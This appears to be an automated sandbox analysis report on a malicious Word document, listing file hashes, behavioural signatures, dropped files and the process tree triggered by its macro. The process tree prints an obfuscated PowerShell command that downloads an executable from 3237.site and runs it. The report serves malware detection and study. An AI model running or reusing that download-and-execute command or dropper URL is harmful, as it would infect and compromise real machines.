Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10-04-2024 10:34

General

  • Target

    424ca2f8aec060f5a7268f543b71e7038d90bec60914f5380cebdbfcfd1f041d.doc

  • Size

    58KB

  • MD5

    d8beed484e8e7e171aeaa6753ac8d8b8

  • SHA1

    ac672a07c62d48c0a7f98554038913770efaef11

  • SHA256

    424ca2f8aec060f5a7268f543b71e7038d90bec60914f5380cebdbfcfd1f041d

  • SHA512

    93558ca97f32f0ccdf4f246622f19b099c2326980e01b6e5dd794c08bfd2acfa9aebbe764cdac83cebae505654b7b541138905974799e649dba302d7920edc62

  • SSDEEP

    768:H5KSEwp9iF7gWMsdMVki1cdq11+UDdxz99oinZ:HzEwp9iF7gWMsdli1cdqDPDd3

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://3237.site/test01.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\424ca2f8aec060f5a7268f543b71e7038d90bec60914f5380cebdbfcfd1f041d.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3020
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Public\Documents\programtwo.cmd" "
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3237.site/test01.e`xe -Destination C:\Users\Public\Documents\manlevel.e`xe;C:\Users\Public\Documents\manlevel.e`xe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      5b54bc9644de41489d2263fb5c055274

      SHA1

      29b8f467ab16cdb50f03978bab8264d8787d96a5

      SHA256

      6ab268c09061a8d3590d4bc9b0716b9e9833f97abc1dc436f4fd6033b29e55b3

      SHA512

      1fe04c0ac0135d85797ebfa52ca4311acfc89d97a9043bf79e9ce8c481a42be64f19d624b85260be6d48f32befac4b4eea137c63e1fd0dbc54741ec2e65ab3a7

    • C:\Users\Public\Documents\programtwo.cmd

      Filesize

      185B

      MD5

      accc5f9fb1cd478b3649066e0868612d

      SHA1

      309c94e34869a7bc62ee53144f1a98290c53d76f

      SHA256

      93941817ada793281eaaa3dd6860d4d63a361ec15b13da7322ea4ed51e6eff6a

      SHA512

      0bf231c1b3d67473ea7faccdc20eee9e52ba29cd30882305fd43276a3f794e100e9c77eaf3d623df167c1c1713195085d78efce8234bcd0e4460cbd16eef2ed4

    • memory/2496-33-0x000000006A2C0000-0x000000006A86B000-memory.dmp

      Filesize

      5.7MB

    • memory/2496-31-0x000000006A2C0000-0x000000006A86B000-memory.dmp

      Filesize

      5.7MB

    • memory/2496-32-0x0000000002B10000-0x0000000002B50000-memory.dmp

      Filesize

      256KB

    • memory/2496-34-0x000000006A2C0000-0x000000006A86B000-memory.dmp

      Filesize

      5.7MB

    • memory/2988-2-0x000000007096D000-0x0000000070978000-memory.dmp

      Filesize

      44KB

    • memory/2988-9-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/2988-0-0x000000002F501000-0x000000002F502000-memory.dmp

      Filesize

      4KB

    • memory/2988-35-0x000000007096D000-0x0000000070978000-memory.dmp

      Filesize

      44KB

    • memory/2988-36-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB

    • memory/2988-51-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2988-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2988-52-0x0000000000360000-0x0000000000460000-memory.dmp

      Filesize

      1024KB